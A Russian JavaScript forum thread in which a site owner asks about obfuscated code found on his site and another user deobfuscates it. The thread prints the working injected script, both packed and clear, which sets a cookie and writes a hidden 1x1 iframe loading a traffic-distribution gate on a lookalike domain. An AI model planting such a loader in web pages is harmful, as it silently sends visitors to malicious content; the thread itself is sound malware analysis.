Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   неизвестный Js. вирус? (https://javascript.ru/forum/misc/15448-neizvestnyjj-js-virus.html)

Tohin 27.02.2011 15:16

неизвестный Js. вирус?
 
На своем домашнем сайтике (для собственных нужд) обнаружил незнакомый мне участок js. Неплохо так запутанный. Гугл показал что подобные участки скриптов встречаются достаточно часто, но что этот код делает пока нигде не написано.
Сможет кто-нибудь разобрать этот бред?
var domain = "http://g-yandex.ru/tds/gate";
	eval(function(p,a,c,k,e,d){
	e=function(c){
		return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
		if(!''.replace(/^/,String)){
			while(c--){d[e(c)]=k[c]||e(c)
			}
		k=[function(e){return d[e]}];
		e=function(){
			return'\\w+'};
		c=1};
		while(c--){
			if(k[c]){
			p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
			}}
		return p}
('o C(r,G,D){m t=J N();m y="";t.U(t.Q()+D*P*H*H*O);y=t.R();l.n=r+"="+G+";S="+y}
o E(r){m i=0;m j=0;m h=0;m u=l.n;z(i<=u.v){j=i;h=j+r.v;s(u.F(j,h)==r){j=h+1;h=l.n.V(";",j);s(h<j)h=l.n.v;q l.n.F(j,h);T}i++}q""}
m u=l.n;s(E("B")=="I"){}W{C("B","I",1);L(o(p,a,c,k,e,d){e=o(c){q c.x(M)};
s(!\'\'.A(/^/,K)){z(c--){d[c.x(a)]=k[c]||c.x(a)}k=[o(e){q d[e]}];e=o(){q\'\\\\w+\'};c=1};
z(c--){s(k[c]){p=p.A(J X(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}q p}
(\'6.7(\\\'<0 5="\\\'+4+\\\'" 2="3" 8="f" 9="e" d="c" a = "1" b = "1"></0>\\\');
\',16,16,\'13|14|12|11|Y|Z|l|10|17|15|1c|1d|1e|1b|1a|18\'.19(\'|\'),0,{}))}',62,77,'
|||||||||||||||||nEndPosition||nStartPosition||document|var|cookie|function||return|szName|if|dtExpires
|szCookieString|length||toString|dtExpiryDate|while|replace|expsid|addCookie|dtDaysExpires|findCookie|substring
|szValue|60|a0192e992bb5e61d51be0ae009c76edd|new|String|eval|36|Date|1000|24|getTime|toGMTString|expires|break|
setTime|indexOf|else|RegExp|domain|src|write|facebook|name|iframe|1px|frameborder||scrolling|auto|split|no|align|
height|width|center'.split('|'),0,{}));


с 17 по 28 строку нужно удалить все переносы строк (внедрил их чтоб сообщение за пределы экрана не лезло

Чисто интуитивно предполагаю перехват данных при авторизации...

B@rmaley.e><e 27.02.2011 15:27

var domain = "http://g-yandex.ru/tds/gate";
function addCookie(szName, szValue, dtDaysExpires) {
    var dtExpires = new Date();
    var dtExpiryDate = "";
    dtExpires.setTime(dtExpires.getTime() + dtDaysExpires * 24 * 60 * 60 * 1000);
    dtExpiryDate = dtExpires.toGMTString();
    document.cookie = szName + "=" + szValue + ";expires=" + dtExpiryDate
}
function findCookie(szName) {
    var i = 0;
    var nStartPosition = 0;
    var nEndPosition = 0;
    var szCookieString = document.cookie;
    while (i <= szCookieString.length) {
        nStartPosition = i;
        nEndPosition = nStartPosition + szName.length;
        if (szCookieString.substring(nStartPosition, nEndPosition) == szName) {
            nStartPosition = nEndPosition + 1;
            nEndPosition = document.cookie.indexOf(";", nStartPosition);
            if (nEndPosition < nStartPosition) nEndPosition = document.cookie.length;
            return document.cookie.substring(nStartPosition, nEndPosition);
            break
        }
        i++
    }
    return ""
}
var szCookieString = document.cookie;
if (findCookie("expsid") == "a0192e992bb5e61d51be0ae009c76edd") {} else {
    addCookie("expsid", "a0192e992bb5e61d51be0ae009c76edd", 1);
    document.write('<iframe src="' + domain + '" name="facebook" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');
}

Tohin 27.02.2011 18:24

Спасибо за оперативность.
"Не понимаю я этих варварских наречий"
Я правильно понял: скрипт кидает куку и открывает на моем сайте фрейм 1х1 px с сайтом g-yandex .ru/tds/gate ?
Но вроде там "404"...
странно что ссылка не зашифрована.
А в качестве просветительской работы не подскажете каким образом дешифруется первоначальный бред?

B@rmaley.e><e 27.02.2011 20:13

Бред расшифровывается заменой eval на alert. Или еще проще: http://jsbeautifier.org/

Скрипт открывает фрейм, если не открывал его ранее. То, что по адресу, который подгружался, 404-ая ошибка - не удивительно. Там вполне может быть скрипт, который определяет, прямое это обращение или нет (по реферу, например).


Часовой пояс GMT +3, время: 19:26.